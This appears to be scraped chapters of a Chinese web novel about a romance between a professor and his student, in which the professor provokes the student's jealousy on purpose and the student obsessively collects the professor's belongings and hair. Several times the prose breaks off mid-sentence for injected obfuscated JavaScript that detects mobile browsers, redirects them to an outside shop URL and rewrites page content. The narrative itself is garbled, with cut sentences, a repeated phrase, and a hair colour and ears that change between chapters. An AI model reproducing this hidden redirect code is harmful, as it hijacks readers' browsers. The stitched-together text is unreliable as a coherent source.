他强迫自己集中注意力听课,但目光总是不自觉地飘向林薇的方向。 林薇听得很认真,偶尔低头记笔记,偶尔抬头看黑板。她的侧脸很精致,鼻梁挺翘,睫毛很长。 而且,她看向谢砚的眼神……太专注了。 专注到让陆知许心里发酸。 整堂课,他都处在一种分裂的状态中。一半在听课,一半在观察——观察谢砚和林薇之间的互动。 谢砚今天提问了三次,其中一次就叫了林薇。 “林薇同学,关于刚才讲到的《西厢记》中红娘的形象,你有什么看法?” 林薇站起来,声音清亮:“我认为红娘不仅是月老的化身,更是女性自我意识的觉醒。她敢于冲破礼教束缚,主动为崔莺莺和张生牵线搭桥……” 她说得很流畅,引经据典,观点新颖。 谢砚听完,点了点头:“很独到的见解。请坐。” 然后他看向全班:“林薇同学的观点很有意思,大家可以参考一下。” 很正常的教学互动。 但陆知许却觉得,谢砚说那句话时的语气,比平时要……温和一些。 而且,“很独到的见解”——这是很高的评价。 整堂课,谢砚一共表扬了三个学生,其中对林薇的表扬最长,也最具体。 陆知许的指尖在桌下紧紧攥住裤腿,指节泛白。 他知道自己不应该这样。 知道自己没有资格吃醋。 但他控制不了。 就像现在,他看着谢砚在讲台上讲课的样子,看着他偶尔看向林薇的眼神,看着他嘴角温和的笑意…… 心脏像被什么东西攥紧了,闷闷地疼。 下课铃响时,陆知许几乎是立刻站起来,想要离开教室。 但谢砚的声音让他僵在了原地: “课代表,等一下。” 全班的目光瞬间聚焦过来。 陆知许僵硬地转身:“教授……” “来我办公室一趟。”谢砚说,语气很平淡,“有点事要交代。” “好、好的。”陆知许小声说。 他站在原地,看着谢砚收拾教案,看着他走向门口,看着他……在经过林薇的座位时,停了一下。 “林薇同学,”谢砚说,“你刚才提到的那个观点,我建议你可以写成小论文。如果需要参考资料,可以去我办公室找我。” 林薇的眼睛亮了起来:“真的吗教授?谢谢您!” “不客气。”谢砚点点头,然后看向陆知许,“走吧。” 陆知许跟在他身后,走出了教室。 走廊里很安静,只有两个人的脚步声。 陆知许低着头,盯着谢砚的背影。 浅米色的针织衫,白色的衬衫领子,修长的脖颈,柔软的黑发…… 一切都那么熟悉。 但陆知许却觉得,今天的谢砚,离他很远。 远到像隔着一层玻璃。 --- 办公室。 谢砚放下教案,走到饮水机旁接水。 “坐。”他对陆知许说,语气很平淡。 陆知许坐下,背挺得笔直,双手放在膝盖上。 “下周学院有个学术沙龙,需要课代表协助布置会场和接待。”谢砚说,把一份文件推到他面前,“这是具体的安排,你看一下。” 陆知许接过文件,低头看。 但一个字都没看进去。 他的脑子里全是刚才教室里谢砚对林薇说话的样子。 温柔,耐心,鼓励。 “有什么问题吗?”谢砚问。 陆知许猛地回过神:“没、没有……” “那就好。”谢砚点头,靠在椅背上,目光落在他脸上,“你今天有点心不在焉。” 陆知许的心脏狠狠跳了一下:“我……” “是因为林薇吗?”谢砚突然问。 陆知许僵住了。 血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。他张了张嘴,却发不出任何声音,只能呆呆地看着谢砚。 谢砚看着他惊慌失措的样子,嘴角几不可察地弯了弯。 “我注意到,今天上课的时候,你看了林薇很多次。”他说,语气很平静,像是在讨论一个学术问题,“而且每次我看她的时候,你的表情就会变得……不太一样。” 陆知许的脸瞬间涨得通红。 他想否认,想说没有,想说教授您看错了。 但他说不出口。 因为谢砚说的是事实。 他确实一直在看林薇,确实因为谢砚对林薇的关注而感到……不舒服。 “我……”陆知许的声音在颤抖,“我只是觉得……林薇同学的观点很新颖……” “是吗?”谢砚挑眉,“我还以为,你在吃醋。” 最后两个字说得很轻,轻得像羽毛落地。 但落在陆知许耳朵里,却像惊雷炸响。 吃醋。 他说吃醋。 陆知许的手指在桌下紧紧攥住裤腿,指节因为用力而泛白。他的眼眶开始发热,鼻尖发酸,但他强迫自己忍住。 不能哭。 不能在谢砚面前哭。 “我没有……”他小声说,声音里带着明显的哽咽,“我怎么敢……” “不敢什么?”谢砚问,身体微微前倾,双手交叠放在桌面上,“不敢吃醋?还是不敢承认你在吃醋?” 陆知许的眼泪终于控制不住地掉了下来。 一滴,两滴,落在手背上,滚烫。 他赶紧低下头,用手背胡乱擦掉眼泪:“对不起教授……我、我失态了……” “抬起头。”谢砚说。 陆知许摇头,不肯抬头。 他不想让谢砚看见自己狼狈的样子。 “陆知许,”谢砚的声音沉了下来,“抬头看我。” 陆知许的身体颤了一下,然后慢慢抬起头。 他的眼睛红红的,睫毛湿漉漉地粘在一起,鼻尖也红红的,嘴唇因为用力抿着而微微发白。 像只被欺负狠了的小兔子。 谢砚看着他的样子,心里某处柔软的地方被触动了。 但他没有表现出来。 “为什么哭?”他问,语气依然平静。 “我……”陆知许的声音带着哭腔,“我不知道……” “不知道为什么会吃醋?”谢砚追问。 陆知许摇头,又点头,最后小声说:“我不该这样的……教授对哪个学生好,都是教授的自由……我不该……” “不该什么?”谢砚打断他,“不该有这种想法?还是不该让我发现?” 陆知许答不上来了。 他只能呆呆地看着谢砚,眼泪还在不停地往下掉。 办公室里安静下来,只有陆知许压抑的抽泣声。 谢砚看了他一会儿,然后站起身,走到他面前。 陆知许下意识地想后退,但谢砚已经伸出手,捏住了他的下巴。 力道不重,但很稳。 “看着我。”谢砚说。 陆知许被迫抬起头,对上那双深褐色的眼睛。 那双眼睛里有什么东西在流动,很深,很沉,像不见底的潭水。 “我问你一个问题,”谢砚说,拇指轻轻摩挲着陆知许的下巴,“你要说实话。” 陆知许点头,眼泪又掉下来一滴。 “你是不是,”谢砚慢慢说,“喜欢我?” 空气凝固了。 陆知许的大脑一片空白。 他设想过无数次被谢砚发现的场景,但没想过会是这样——在办公室里,被谢砚捏着下巴,逼问是不是喜欢他。 他该承认吗? 该说“是”吗? 还是该否认? 陆知许的嘴唇颤抖着,却发不出任何声音。 谢砚等了一会儿,然后松开了手。 “算了,”他说,转身走回办公桌后,“当我没问。” 陆知许的心脏像被什么东西狠狠揪了一下。 他猛地站起来,因为动作太急,椅子在地上划出刺耳的声音。 “是!”他大声说,声音因为激动而颤抖,“我喜欢您!从大二就开始喜欢您!我喜欢您很久很久了!” 说完,他就后悔了。 他看见谢砚转过身,脸上没有任何表情。 深褐色的眼睛看着他,像在看一个陌生人。 陆知许的眼泪又开始往下掉,但他强迫自己继续说下去: “我知道我不该这样……我知道我只是个学生……我知道我配不上您……但我控制不了……我控制不了自己喜欢您……” 他的声音越来越小,最后变成了哽咽。 办公室里又陷入了沉默。 谢砚看着他,看了很久。 然后他说: “过来。” 陆知许愣住了。 “过来。”谢砚重复了一遍,声音比刚才柔和了一些。 陆知许慢慢走过去,停在办公桌前。 谢砚站起身,绕过桌子,走到他面前。 距离很近,近到陆知许能闻到他身上淡淡的檀木香。 “闭上眼睛。”谢砚说。 陆知许乖乖闭上眼睛。 然后他感觉到,谢砚的手轻轻抚上了他的脸颊。 温热的掌心,干燥的触感。 陆知许的身体颤了一下,但没有躲开。 谢砚的拇指轻轻擦过他脸上的泪痕,动作很轻,很温柔。 “别哭了。”他说,声音很轻,“眼睛都肿了。” 陆知许的眼泪掉得更凶了。 “对不起……”他小声说,“对不起教授……我不该说那些话……您就当我什么都没说……” “晚了。”谢砚说,“我已经听到了。” 陆知许的心一沉。 完了。 一切都完了。 谢砚肯定觉得他很恶心,觉得他是个变态,觉得他…… “睁开眼睛。”谢砚说。 陆知许睁开眼,眼泪模糊了视线。 他看见谢砚正看着他,嘴角带着一个很浅的、几乎看不见的笑。 “你刚才说,”谢砚慢慢说,“你喜欢我很久了?” 陆知许点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他整个人都僵住了,连呼吸都忘记了。 谢砚退后一步,看着他呆滞的样子,轻轻笑了。 “吓到了?”他问。 陆知许点头,又摇头,最后小声说:“我……我在做梦吗?” “不是梦。”谢砚说,揉了揉他的头发,“是真的。” 陆知许的眼泪又开始往下掉。 但这次不是因为难过,是因为……喜悦。 巨大的、不真实的喜悦。 谢砚喜欢他。 谢砚说喜欢他。 这怎么可能? 这怎么可以? 但这是真的。 谢砚的手还放在他头上,掌心温热的触感告诉他,这不是梦。 “可是……”陆知许小声说,“林薇……” “林薇怎么了?”谢砚挑眉。 “您……您今天对她那么好……”陆知许说,声音里带着一丝委屈。 谢砚笑了:“我故意的。” 陆知许愣住了。 “我想看看,”谢砚说,手指轻轻勾起陆知许的一缕头发,“你会不会吃醋。” 陆知许的脸瞬间红透了。 “您……您怎么可以这样……”他小声说,声音里带着一丝撒娇的意味。 “不可以吗?”谢砚问,语气里带着一丝笑意,“我想看看,我的小兔子到底有多喜欢我。” 我的小兔子。 他说我的小兔子。 陆知许的心脏又开始疯狂跳动。 他抬起头,看向谢砚,眼睛里还带着泪光,但已经亮了起来。 “所以……”他小声问,“您真的……喜欢我?” “嗯。”谢砚点头,“喜欢很久了。” “从什么时候开始的?”陆知许追问。 谢砚想了想,说:“从你撞翻我的咖啡开始。” 陆知许愣住了。 那么早? “可是……”他小声说,“那个时候我才第一次正式见您……” “但你已经喜欢我一年了,不是吗?”谢砚说,“所以,我们扯平了。” 陆知许说不出话了。 他只能呆呆地看着谢砚,看着那张他日思夜想的脸,看着那双他魂牵梦萦的眼睛。 然后他做了一个自己都没想到的大胆举动—— 他踮起脚,在谢砚的嘴角轻轻吻了一下。 很轻,很快,像蜻蜓点水。 做完他就后悔了,赶紧后退一步,低下头,耳尖红得能滴血。 谢砚愣住了。 他看着陆知许通红的耳朵,然后笑了。 笑得很开心,很真实。 “学坏了?”他问,声音里带着明显的笑意。 陆知许摇头,不肯抬头。 谢砚伸手,把他拉进怀里。 “那就再坏一点。”他在陆知许耳边轻声说。 然后他低下头,吻住了陆知许的嘴唇。 --- 窗外阳光正好。 办公室里很安静。 只有两个人亲吻的声音,和急促的呼吸声。 陆知许的初吻,在这样一个普通的周一上午,在谢砚的办公室里,发生了。 而这一切,都始于一场醋意。 一场被精心设计,却又真实无比的醋意。 9. 第九章 办公室的窗帘只拉了一半,午后的阳光漏进来,在地板上投下斑驳的光影。 陆知许的额头抵着谢砚的肩窝,鼻尖萦绕着清浅的檀木香混着淡淡的茶香。他的呼吸还有点乱,指尖却带着不容错辨的力道,扣着谢砚的后腰,将人更紧地圈在怀里。布料柔软的触感熨帖着掌心,滚烫的温度透过衣料渗进来,让他心头那股翻涌的占有欲,一点点落了地。 谢砚的手搭在他的背上,掌心的温度温和得让人安心。他低头,下巴蹭了蹭陆知许柔软的发顶,声音带着刚吻过的沙哑:“还没缓过来?” 陆知许闷声摇头,非但没松劲,反而得寸进尺地,在谢砚颈侧蹭了蹭。温热的呼吸扫过细腻的皮肤,惹得怀中人轻轻一颤。 “教授……”他开口,声音糯里带着点不容置疑的强势,指尖摩挲着谢砚后腰的腰线,“我们现在,算什么?” 谢砚失笑,指尖轻轻挠了挠他的腰侧,想逗逗这只刚亮出爪子的小兔子。 陆知许却没像往常那样瑟缩,反而顺势抬起头,眼神亮得惊人。他抬手,拇指轻轻擦过谢砚唇角那点被他咬出来的红痕,动作带着点近乎霸道的珍视。 阳光落在谢砚的侧脸,勾勒出清晰的下颌线。那双深褐色的眼睛里盛着笑意,温柔得能溺死人,却偏偏被陆知许这样盯着,透出几分无措的纵容。 “你说算什么?”谢砚反问,声音低哑,“刚把人欺负完,就想不认账?” 陆知许的脸瞬间红透,像熟透的樱桃,眼神却半点没闪躲。他往前凑了凑,鼻尖几乎要碰到谢砚的鼻尖,呼吸交缠在一起,带着滚烫的热度。 “不认账?”他重复着这三个字,尾音微微上扬,带着点狡黠的得意,“我吃干抹净,什么时候赖过账?” 这话太过直白,饶是谢砚定力再好,耳尖也忍不住泛起薄红。他偏过脸,想躲开这过于灼热的视线,手腕却被陆知许扣住。 年轻的掌心干燥而有力,带着不容拒绝的掌控感。 陆知许没放过他,微微俯身,在他泛红的耳尖上,轻轻咬了一下。 不重,却带着清晰的占有意味。 谢砚的身体猛地一僵,连呼吸都乱了半拍。 “陆知许。”他低呵出声,声音里带着点不易察觉的喘息。 “嗯。”陆知许应得乖巧,指尖却顺着他的手腕,一路往上,轻轻勾住了他的衬衫袖口,“谢砚,”他又唤了一声,声音软下来,带着点撒娇的意味,“我就是怕……怕这是梦。” 怕一睁眼,谢砚还是那个站在讲台上侃侃而谈的教授,而他,还是那个只能远远看着他的学生。 谢砚看着他眼底一闪而过的惶恐,心头那点被逗弄出来的羞赧,瞬间化作一片柔软。他反手握紧陆知许的手,指尖与他的指腹相贴,轻轻摩挲着。 “不是梦。”他低头,在陆知许的唇角印下一个轻柔的吻,带着安抚的意味,“是真的。” 陆知许的眼睛亮了起来,像有星星落了进去。他没再说话,只是伸手,更紧地抱住了谢砚。下巴搁在他的肩窝,贪婪地汲取着属于他的气息。 “谢砚……”他又唤了一声,声音里满是满足。 这是他第一次,敢这样毫无顾忌地叫他的名字。 不是“谢教授”,不是“老师”,而是带着缱绻情意的、亲昵的两个字。 谢砚的心跳漏了一拍,随即低笑出声。胸腔的震动透过相贴的皮肤传过来,陆知许能清晰地感觉到。 “我在。”他应了一声,声音温柔得不像话。 两人就这么安安静静地抱着,听着彼此的心跳声,感受着对方的温度。 窗外的蝉鸣一声高过一声,阳光渐渐西斜,将两人的影子拉得很长很长。 不知过了多久,谢砚的手机突然响了起来。 清脆的铃声打破了办公室的静谧。 谢砚下意识地想抬手去拿,陆知许却先一步按住了他的手腕。年轻的力道带着点霸道的占有欲,却又小心翼翼地,没弄疼他。 陆知许抬眸看他,眼底带着点孩子气的不满:“别管。” 谢砚无奈地看他:“是学院的工作群,可能有急事。” 陆知许撇了撇嘴,终究还是松了手,却没松开抱着他的手臂,反而像只树袋熊似的,黏得更紧了些。 谢砚拿出手机看了一眼,果然是通知下周学术沙龙的事宜。他快速回复了消息,刚想把手机放回去,就听见怀中人小声嘟囔:“那……林薇同学的论文……” 谢砚抬眸看他,眼底的笑意藏都藏不住:“怎么?还在吃醋?” 陆知许的脸更红了,耳根都染上了薄红。他别过脸,哼了一声,语气却带着明显的委屈:“本来就是……你今天对她那么好……” 那副口是心非的样子,像只被抢了胡萝卜,却还要硬撑着的小兔子。 谢砚失笑,放下手机,伸手捏了捏他的脸颊:“傻兔子。” 他顿了顿,看着陆知许眼底的醋意,故意放慢了语速,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来,这场暗恋,从来都不是他一个人的独角戏。 谢砚看着他呆愣的样子,忍不住轻笑。他抬手,将那枚钢笔帽重新塞回陆知许的掌心。 “送你了。”他说,声音温柔,“就当……是给你的奖励。” 陆知许握紧掌心的笔帽,冰凉的金属触感烫得他指尖发麻。他抬头,撞进谢砚深褐色的眼眸里,那里盛着的温柔与纵容,几乎要将他溺毙。 窗外的夕阳渐渐沉下去,将天边染成一片暖橙色。 办公室里,两人相视一笑,眼底的情意,浓得化不开。 10. 第十章 周三的《中国古代文学专题》课,阶梯教室里坐得满满当当。 陆知许照旧选了中间靠窗的位置,笔记本扉页偷偷夹着那枚银质钢笔帽,指尖无意识摩挲着冰凉金属面,目光却黏在讲台上那个身影上——谢砚今天穿了深灰色西装,衬得那头银白发丝愈发耀眼,几缕碎发垂在额前,清冷又勾人。 他讲《牡丹亭》的至情论时,声音温润,语调抑扬顿挫。目光扫过教室时,在陆知许的位置上凝了半秒,快得像风,却精准撞进对方眼底。 陆知许心跳漏了一拍,连忙低头假装翻课本,耳根却红得快要滴血。 他没看见,谢砚转回身写板书时,银发下的唇角勾出一抹极淡的笑。 “接下来,我想请一位同学谈谈,”谢砚放下粉笔,转过身,银眸扫过全场,“杜丽娘的‘情’,与《西厢记》中崔莺莺的‘情’,有何异同?” 教室瞬间安静,不少人低头避着视线。陆知许却微微抬下巴,指尖在笔记本上轻敲——这是他和谢砚的小暗号,代表“我会”。 谢砚的目光精准落过来,声音清亮:“陆知许同学,你来说说。” 陆知许站起身,脊背挺直,先抬眸看了谢砚一眼,眼底藏着旁人看不懂的狡黠。 “我认为,崔莺莺的情,带着礼教束缚下的试探与胆怯,而杜丽娘的情,是冲破生死的……”他顿了顿,刻意加重语气,“明目张胆。” 最后四个字落下,他清晰看见谢砚握着粉笔的手指顿了一下,银发下的眼尾微扬,添了几分笑意。 “说得很好。”谢砚的声音里藏着一丝笑意,“杜丽娘的‘情不知所起,一往而深’,本就是超越世俗的勇敢。请坐。” 陆知许坐下时,指尖又摸了摸那枚钢笔帽,心脏砰砰直跳。 明目张胆。 他在说自己的喜欢,也在回应谢砚那句“我对谁,都没对你这样过”。 整堂课,陆知许听得格外认真,却又忍不住分神。他偷偷用手机,拍下谢砚银发垂落写板书的背影,拍下他低头翻教案时银眸微垂的侧脸,拍下他抬手推眼镜时耳尖露出的精灵耳——这些照片,会被他分类存进加密相册,备注上日期和天气,连谢砚银发被风吹动的弧度,都标注得一清二楚。 下课铃响时,谢砚合上教案,淡淡道:“上周的论文,我已经批改完了,课代表跟我去办公室拿一下。” 陆知许几乎立刻站起身,动作快得惹来周围同学侧目。他假装没看见,快步跟上谢砚,落在他身后半步,目光贪恋地描摹着对方银发的光泽。 走廊里阳光正好,谢砚放慢脚步与他并肩,声音压得极低,只有两人能听见:“‘明目张胆’?胆子倒是越来越大了。” 陆知许脸一红,却梗着脖子小声道:“本来就是。” 谢砚低笑出声,伸手状似无意地拂过他的发顶,指尖擦过他的耳廓,银发扫过陆知许的脸颊,带着微凉的触感,烫得他浑身一僵。 “晚上来我家?”谢砚的声音带着蛊惑,银眸里盛着温柔,“给你做你爱吃的糖醋排骨。” 陆知许眼睛亮了,忙不迭点头:“好。” 办公室里,一摞论文整整齐齐堆在桌上。谢砚递给陆知许一个牛皮纸袋,示意他装进去。陆知许弯腰时,目光瞥见谢砚的办公桌抽屉半开,里面露出一角熟悉的白色——那是他上次来办公室时不小心落下的纸杯。 他的心跳骤然加速,指尖微颤。 原来,谢砚也在收藏他的东西。 这个发现让陆知许心底灌满蜜糖,甜得发腻。他装完论文直起身,故意状似无意地问:“谢教授,您的抽屉里……怎么有个纸杯?” 谢砚顺着他的目光看过去,银眸里闪过一丝狡黠,却面不改色地关上抽屉:“哦,忘了扔。” 陆知许才不信,咬着唇强忍着笑意,把牛皮纸袋抱在怀里:“那我先去发论文了。” “嗯。”谢砚点点头,看着他的背影,银发下的眼眸温柔得快要溢出来。 傍晚,陆知许准时出现在谢砚家楼下,手里拎着亲手熬的莲子羹。 谢砚开门时,身上换了件米白色家居服,银发微湿,带着刚洗完澡的水汽,精灵耳尖泛着淡粉。他侧身让陆知许进来,接过保温桶,笑着调侃:“陆同学这是,想把我喂胖?” 陆知许脸一红,小声道:“您太瘦了。” 客厅茶几上摆着一盘刚做好的糖醋排骨,色泽诱人。陆知许的目光却被茶几一角的相 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高兴有人这样热烈、笨拙、毫无保留地喜欢着自己,高兴那个人是陆知许。 陆知许抬起头,撞进他的银眸里,眼泪终于忍不住掉下来。他伸手紧紧抱住谢砚,声音带着哭腔:“谢砚……” “我在。” “我想……”陆知许哽咽着,“我想把你的一切,都收藏起来。” 收藏他的笑,他的温柔,他的偏执,他的银发,他的一切。 谢砚低笑出声,抬手轻轻擦掉他的眼泪,指尖带着温热的触感。 “好啊。”他说,银眸里盛满宠溺,“我的一切,都给你收藏。” 窗外夜色渐浓,月光透过窗帘缝隙洒在相拥的两人身上。 陆知许的收藏夹里,又多了一样东西——一枚谢砚亲手戴上的、刻着他名字缩写的银质戒指,与那枚钢笔帽凑成了一对。 而谢砚的抽屉里,那个白色纸杯旁,又多了一张照片。照片里,陆知许抱着他的腰仰头吻他,眼底是藏不住的爱意与占有欲。 照片的背面,谢砚用漂亮的字迹写着一行字: 我的阴湿小收藏家。 11. 第十一章 周五下午没课,陆知许窝在谢砚家的书房里改论文,鼻尖萦绕着墨香与谢砚身上淡淡的檀木气息。 谢砚坐在他身旁的沙发上翻古籍,银发松松地用一根黑绳束在脑后,露出光洁的额头和尖尖的精灵耳。他偶尔抬眸看一眼陆知许,银眸里的温柔能淌出水来,手指却无意识地捻着一缕掉落的银发——那是今早梳头发时掉的,他特意收了起来。 陆知许改完一段文字,一抬头就撞见谢砚的目光,脸颊微红,放下笔凑过去,从背后抱住他的腰,下巴搁在他的肩窝:“教授,你总看我,我都写不下去了。” 谢砚轻笑,反手揉了揉他的头发,将那缕银发塞进他手里:“给你,新的藏品。” 陆知许的眼睛瞬间亮了,小心翼翼地捏着那缕泛着冷光的银发,指尖都在发颤。他从书桌抽屉里翻出一个精致的玻璃小瓶,将银发小心翼翼地放进去,贴上标签:「谢砚,202X.10.14,书房掉落」。 谢砚看着他这副宝贝的样子,眼底的笑意更浓了,故意逗他:“这么喜欢我的头发?” “嗯。”陆知许点头,将玻璃瓶放进自己的收藏盒里,里面已经装了钢笔帽、谢砚的旧领带夹、甚至还有一片谢砚用过的书签,“你的一切我都喜欢。” 话音刚落,门铃突然响了。 陆知许的身体瞬间僵住,像被踩住尾巴的猫。谢砚挑了挑眉,拍了拍他的手背:“别怕,应该是快递。” 陆知许却还是心有余悸,跟着谢砚走到玄关,扒着门偷偷往外看。着门偷偷往外看。 门外站着的哪里是快递员,分明是他的三个室友! 老大扛着一袋水果,老二手里拎着奶茶,老三举着一包薯片,三人挤在门口,看见开门的是谢砚,都愣住了,手里的东西差点掉在地上。 空气瞬间凝固。 谢砚的银发在玄关的灯光下格外显眼,他穿着宽松的家居服,领口微敞,嘴角还带着未散的笑意,与课堂上清冷的模样判若两人。 而陆知许扒着门的手还没收回去,脸上的红晕还没褪尽,身上穿着的……居然是谢砚的米白色针织衫,领口大得露出了锁骨,上面还沾着一点糖醋排骨的酱汁。 老大最先反应过来,咽了口唾沫,干笑两声:“那个……谢教授,我们找陆知许,他说今天在图书馆……” 陆知许的脸“唰”地一下红透了,恨不得找个地缝钻进去。他慌忙从谢砚身后钻出来,抢在谢砚开口前道:“我……我临时改主意来谢教授家请教论文了!” 老二的目光在陆知许身上的针织衫和谢砚的银发之间来回扫视,嘴角抽了抽:“请教论文需要穿教授的衣服?还沾了酱汁?” 老三更是直接,指着陆知许的收藏盒——那盒子被他随手放在玄关的柜子上,玻璃小瓶里的银发格外显眼:“老陆,那瓶子里装的啥?不会是谢教授的头发吧?” 陆知许的心跳快得像是要炸开,刚想辩解,谢砚却伸手揽住他的腰,将他往自己怀里带了带,银眸扫过三个室友,语气平淡却带着不容置疑的占有欲:“他是我爱人,穿我的衣服,收藏我的头发,有问题吗?” 三个室友瞬间石化,嘴巴张得能塞进鸡蛋。 老大手里的水果“啪嗒”一声掉在地上,苹果滚了一地;老二的奶茶洒了半杯,顺着手指流到手腕上;老三手里的薯片袋直接被捏爆,薯片撒了一地。 陆知许埋在谢砚的怀里,脸烫得能煎鸡蛋,却忍不住偷偷勾了勾谢砚的手指。 谢砚感受到指尖的触碰,低头看了他一眼,银眸里满是笑意,抬手揉了揉他的头发:“别躲,他们早该知道了。” 老大终于回过神,结结巴巴地开口:“谢……谢教授,你……你和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301345|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老陆……” “嗯。”谢砚点头,语气自然得像是在说今天的天气,“我们在一起了。” 老二咽了口唾沫,看了看陆知许,又看了看谢砚,突然恍然大悟:“我说老陆怎么天天往办公室跑,手机锁屏全是谢教授的照片,原来不是追星,是追人啊!” 老三更是夸张,一拍大腿:“我就说他那收藏盒不对劲,里面全是奇奇怪怪的东西,原来都是谢教授的!老陆,你这阴湿的样子,可真藏得深啊!” 陆知许的脸更红了,从谢砚的怀里钻出来,瞪了老三一眼:“你胡说什么呢!” 谢砚却笑着接过话头,从柜子上拿起那个收藏盒,打开给三人看:“他收藏的都是我的东西,我很喜欢。” 盒子里的钢笔帽、领带夹、银发、书签一一映入眼帘,三个室友看得目瞪口呆,老大忍不住道:“谢教授,你居然不觉得他变态?” “他是爱我。”谢砚的声音温柔,低头看了陆知许一眼,银眸里满是宠溺,“被他这样爱着,我很高兴。” 陆知许的眼眶微微发热,伸手握住谢砚的手,十指相扣。 三个室友面面相觑,最终还是老二先叹了口气:“行吧,你们俩开心就好。不过老陆,你小子可以啊,把我们中文系的高岭之花给拿下了!” 老三跟着起哄:“就是就是,下次请我们吃喜糖啊!” 谢砚轻笑,点头:“会的。” 送走三个目瞪口呆的室友,陆知许关上门,转身就被谢砚按在门板上。 谢砚的银发垂下来,扫过他的脸颊,银眸里带着戏谑:“现在,我的小收藏家,该给我点奖励了吧?” 陆知许仰头,主动吻上他的唇,指尖插进他的银发里,感受着那丝滑的触感。 玄关的灯光暖融融的,映着两人相拥的身影,空气里满是甜腻的气息。 12. 第十二章 玄关的暖光还没散尽,陆知许的指尖还插在谢砚的银发里,唇瓣相贴的余温烫得他指尖发麻。 直到两人呼吸渐稳,谢砚才低笑着啄了啄他的唇角,伸手揉乱他的头发:“奖励很甜。” 陆知许脸一红,伸手推开他,却被谢砚顺势拉住手腕,带进了书房。 书桌抽屉里,那个黑色的收藏盒正安安静静地躺着。陆知许走过去打开,里面的钢笔帽、领带夹、书签被分门别类地放着,最显眼的是那个装着银发的玻璃小瓶,标签上的字迹工整又认真。 谢砚靠在门框上,看着他小心翼翼地把瓶子拿出来,指尖反复摩挲着瓶身,眼底的偏执与温柔交织在一起。 “喜欢就好。”谢砚轻声说。 陆知许抬头看他,眼睛亮得惊人:“我想把它做成钥匙扣。” 谢砚挑了挑眉,走过去从背后抱住他,下巴搁在他的肩窝,银发蹭过他的脸颊:“好啊,我帮你。” 周末,两人窝在谢砚家的手工房里。陆知许捧着那个玻璃小瓶,谢砚则翻出了工具包——里面有银色的金属环、透明的树脂胶、还有刻字用的小刻刀。 “要刻什么?”谢砚问,指尖捏着刻刀,在金属环上轻轻比划着。 陆知许凑近看,鼻尖几乎要碰到他的手背,声音软糯却带着不容错辨的占有欲:“刻我们的名字缩写。” 谢砚的眼底闪过一丝笑意,低头在金属环上刻下“X”和“L”两个字母,又用砂纸细细打磨光滑。 陆知许看着他专注的侧脸,银发垂落,遮住了他的眉眼,阳光透过窗户洒在他的发顶,泛着淡淡的光晕。他忍不住拿出手机,偷偷拍下这一幕,存进了加密相册,备注:「我的爱人,手工ing」。 树脂胶凝固需要时间,陆知许便抱着那个金属环,像个守着宝贝的孩子,寸步不离地跟着谢砚。 谢砚去厨房煮咖啡,他就倚在门框上看;谢砚坐在沙发上看书,他就窝在他怀里,指尖反复摩挲着金属环上的刻字。 谢砚被他缠得没办法,合上书,低头咬了咬他的耳垂:“这么黏人?” 陆知许仰头看他,眼底闪着狡黠的光:“黏的就是你。” 话音未落,他忽然注意到谢砚的手腕上,有一道浅浅的红痕——是上次在办公室,他情急之下抓出来的。 陆知许的心跳漏了一拍,指尖轻轻抚上那道红痕,声音带着一丝紧张:“疼吗?” 谢砚的身体微微一僵,随即低笑出声,反手握住他的手腕,将他的手指按在那道红痕上:“不疼,甚至……很喜欢。” 陆知许愣住了。 谢砚看着他错愕的眼神,眼底的偏执渐渐显露出来,声音低沉而沙哑,带着蛊惑人心的磁性:“知许,你抓我的时候,力道再重一点也没关系。” 他顿了顿,指尖轻轻划过陆知许的唇瓣,银眸里翻涌着暗潮:“我喜欢身上留着你的痕迹,喜欢被你这样……标记。” 陆知许的脸瞬间红透了,心脏狂跳不止。 他终于明白,谢砚的隐性受虐属性,从来都不是说说而已。 他喜欢被自己占有,喜欢被自己标记,喜欢身上留着属于自己的痕迹——就像自己喜欢收藏他的一切一样。 这个发现让陆知许的心底涌起一股强烈的占有欲,他猛地伸手,扣住谢砚的后颈,俯身吻了上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301346|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个吻带着十足的霸道与强势,陆知许的指尖顺着谢砚的脖颈滑下去,轻轻掐住了他的腰侧。 谢砚闷哼一声,身体微微一颤,却没有反抗,反而伸手揽住他的腰,仰头回应着他的吻。 银发与黑发交缠在一起,呼吸与心跳共振。 不知过了多久,两人才气喘吁吁地分开。 谢砚的唇瓣泛红,眼角也染上了一层淡淡的水汽,银眸里的情欲尚未褪去,却带着满满的餍足。 